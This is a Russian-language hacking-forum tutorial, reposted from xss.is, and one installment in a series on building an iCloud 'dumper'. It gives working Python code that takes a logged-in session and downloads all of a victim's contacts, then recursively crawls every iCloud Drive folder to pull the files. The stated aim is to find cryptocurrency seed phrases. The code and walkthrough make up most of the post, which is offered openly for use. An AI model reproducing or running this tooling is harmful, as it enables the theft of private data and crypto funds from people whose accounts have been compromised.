D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Написано - chiefchainer
Источник - xss.is
Введение
Всем снова здрасьте, совсем скоро уже разборка Icloud'a подойдет к концу, мы успели разобрать заметки, почту. Остается дело за малым - облако с файлами, контакты, и медиа-контент. В этой статье подробно взглянем на айклаудовский драйв, выкачаем оттуда все, что можно, а так же будем работать с картинками, все в тех же целях найти сидку. И бонусом, а точнее в самом начале разберемся с контактами, ибо там нет никакой нагрузки, кроме того, чтоб найти нужный нам запрос. Не будет декрипта как в заметках, там все лежит в открытом виде. По этому, предлагаю сразу же начать с легкого, а закончить уже выгрузкой файлов с их последующей обработкой. Так же, тем кто выбрал эту статью первой для прочтения, советую ознакомиться для начала с предыдущими, мы оттуда будем поддергивать какую-либо информацию, ведь уже рассмотрели её в рамках других возможностей айклауда.Дампим письма с Icloud. Регулярки. Поиск сид-фраз cреди писем.
Cобираем заметки с Icloud. Криптография и реверс шифра на этих самых заметках.
Так же не забываем про обратную связь в статье, но теперь уж точно пора начинать.
Собираем контакты
Как говорил, начнем сразу с контактов. Для этого залетаем наКод: Скопировать в буфер обмена
icloud.com/contacts/
уже как к себе домой, предварительно включив запись запросов, и сразу же наблюдаем запрос, который спокойно отдает нам все контакты в одном JSON, без всяких там шифрований и других штук, которые мы могли видеть раньше. Можете так же искать как в предыдущих статьях поиск по CTRL+F через кейворды, которые встречаются в контактах (номер телефона, название контакта, всё что угодно), чтоб точно попасть в нужный запрос.
Тут хочу рассказать еще об одной возможности ускорения написания кода, понятное дело, что мы можем начать копировать URL с эндпоинтом, самостоятельно начать наполнять пейлод, но есть метод побыстрее. Называется он конвертор curl to python, на самом деле тут не только Python, можно конвертировать и в любые другие языки, их куча.
Такая штука, для того, чтоб получить сразу готовый код по нашему запросу, то мы возвращаемся в инструменты разработчика, тыкаем пкм'ом по нужному нам запрос, и копируем его как CURL (BASH), именно Bash, в случае если вы скопируете cmd, то ничего не выйдет.
Вставляем все это дело в наш конвертор, и на выходе получаем почти готовый код, в котором нам надо будет убрать кукисы, добавить поддержку работы с сессией, а так же парс JSON и его сохранение.
Окей, сейчас надо сразу же закрыть момент с контактами и переплывать к основной нагрузке статьи. Так как у нас всё модульно, то будем и дальше поддерживать такую структуру дампера. Мы будем сохранять FirstName контакта и его номер телефона в случае если он присутствует, в ином случае просто скипать. Код функции прикладываю ниже.
Код: Скопировать в буфер обмена
Код:
import requests
import os
from get_dsid import get_dsid
def get_contacts(session, folder):
headers = {
'accept': '*/*',
'accept-language': 'ru-RU,ru;q=0.9',
'content-type': 'text/plain',
'origin': 'https://www.icloud.com',
'priority': 'u=1, i',
'referer': 'https://www.icloud.com/',
'sec-ch-ua': '"Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36',
}
params = {
'clientBuildNumber': '2426Project37',
'clientId': '837f3e02-cc3b-4c49-a872-363915584832',
'clientMasteringNumber': '2426B25',
'clientVersion': '2.1',
'dsid': get_dsid(),
'locale': 'ru_RU',
'order': 'first,last',
}
response = session.get('https://p55-contactsws.icloud.com/co/startup', params=params, headers=headers)
data = response.json()
phones_and_names = []
for contact in data['contacts']:
try:
if 'phones' in contact:
for phone in contact['phones']:
phones_and_names.append((contact['firstName'], phone['field']))
except:
pass
for name, phone in phones_and_names:
filename = os.path.join(folder, f"contacts.txt")
with open(filename, 'a', encoding='utf-8') as file:
file.write(f'Name - {name} Phone number - {phone}\n')
Мы заходим в start.py, добавляем импорт нашей функции, добавляем её вызов, и бинго. Всё, теперь подвязали и контакты в наш дампер. Теперь остается лишь проверить, всё ли работает так как надо, запускаем нашу выгрузку, проверяем все ли сохранилось как надо.
Бамц, всё верно. Теперь можно забыть про контакты, пора переходить к облаку айклауда и смотреть, что у нас там.
Облако Айклауда, привет!
Теперь заходим уже наКод: Скопировать в буфер обмена
icloud.com/iclouddrive/
, изначально он закидывает нас 'Недавние'. Нам это не особо интересно, нам нужно увидеть каждую папку, каждый файл, и разобраться с тем и как кого куда качать. По этому выходим из 'недавних' и летим в 'Обзор', где увидим структуру хранения файлов человека. Для начала надо понять, каким образом айклауд отслеживает путь, в котором мы находимся. Для этого так же летим в запросы и пытаемся найти этот момент, где эпл отображает нам файлы так, как мы видим в 'обзор', то есть с самого начала пути. Для облегчения себе поиска таких запросов, предлагаю определиться с кейвордами. Для этого тыкаемся в любой файл пкм'ом и переходим в исследовать код. И что мы видим?
Мы видим очень похожий идентификатор как в заметках, правда тут он ни чем не накрыт сверху, по этому мы копируем значение data-id, и организуем поиск нужного запроса по этому кейворду. Загружаем его в поиск, обновляем страницу и наблюдаем следующую картину.
Меня с ходу интересуют два последних запроса, своим эндпоинтом они прям кричат, что схвати меня. Пойдем с конца. В ответе мы получаем следующую информацию о файлах
С учетом того, что я заранее знаю где находится этот файл (а именно просто лежит в 'обзоре', не в какой либо папке), то это позволяет нам понять, что наш маршрут автоматизации будет начинаться всегда с "FOLDER::com.apple.CloudDocs::root", этот параметр мы видим в 'parentId', так же еще парочка по типу name, extension, и docwsid, это идентификатор файла, по которому мы скорее всего будем качать файл, но для начала еще посмотрим, какие данные мы отправили, чтоб получить этот ответ.
Просто путь и ничего лишнего. Это радует, но так же удивляет опять отсутствие параметров, которые были в других сервисах Icloud, к примеру это излюбленный dsid, или же информация о том каким клиентом пользуется человек. Хорошо, запоминаем, что начало начал - это root. Но не стоит останавливаться на этом и бежать сразу к скачке, мы не торопимся, и давайте сравним drivewsid на двух верхних скриншотах. Там ведь еще можно создавать папки, следовательно нам надо будет рекурсивно еще скакать по папкам, и извлекать еще из них файлы, окей. Разница заключается в начале, когда папка у нас начинается с FOLDER, а при файле, просто по-английский FILE. Это нам точно так же пригодится, чтоб улавливать разницу, и делать выборку, что нам творить. Впринципе, на этом этапе предлагаю приступить к коду, который будет у нас рекурсивно гулять по папкам, и собирать данные, а в случае если это файл, то будем вызывать функцию на скачку, пока её не будет, но просто обзовем, разбор скачки будет после того как утвердим момент с путями и получением идентификаторов файлов.
Код: Скопировать в буфер обмена
Код:
import requests
import json
import os
def get_files(session, folder):
headers = {
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9,ru-RU;q=0.8,ru;q=0.7',
'content-type': 'text/plain',
'origin': 'https://www.icloud.com',
'priority': 'u=1, i',
'referer': 'https://www.icloud.com/',
'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
}
params = {
'appIdentifier': 'iclouddrive',
}
data = '[{"drivewsid":"FOLDER::com.apple.CloudDocs::root","partialData":true,"includeHierarchy":true}]'
try:
response = session.post(
'https://p55-drivews.icloud.com/retrieveItemDetailsInFolders',
params=params,
headers=headers,
data=data,
).text
data = json.loads(response)
drivewsids = [item['drivewsid'] for item in data[0]['items']]
download_recursive(drivewsids, session, headers, folder)
except:
pass
def download_recursive(drivewsids, session, headers, folder):
for drivewsid in drivewsids:
if drivewsid.startswith('FILE::com.apple.CloudDocs::'):
identifier = drivewsid.split('FILE::com.apple.CloudDocs::')[1]
download_file(identifier, session, headers, folder)
elif drivewsid.startswith('FOLDER::com.apple.CloudDocs::'):
folder_identifier = drivewsid.split('FOLDER::com.apple.CloudDocs::')[1]
download_files_in_folder(folder_identifier, session, headers, folder)
def download_files_in_folder(folder_identifier, session, headers, folder):
url = "https://p55-drivews.icloud.com/retrieveItemDetailsInFolders?appIdentifier=iclouddrive"
data = f'[{{"drivewsid":"FOLDER::com.apple.CloudDocs::{folder_identifier}","partialData":true,"includeHierarchy":true}}]'
try:
response = session.post(url, data=data, headers=headers).text
data = json.loads(response)
if data and len(data) > 0 and 'items' in data[0]:
drivewsids = [item['drivewsid'] for item in data[0]['items']]
download_recursive(drivewsids, session, headers, folder)
else:
pass
except:
pass
View hidden content is available for registered users!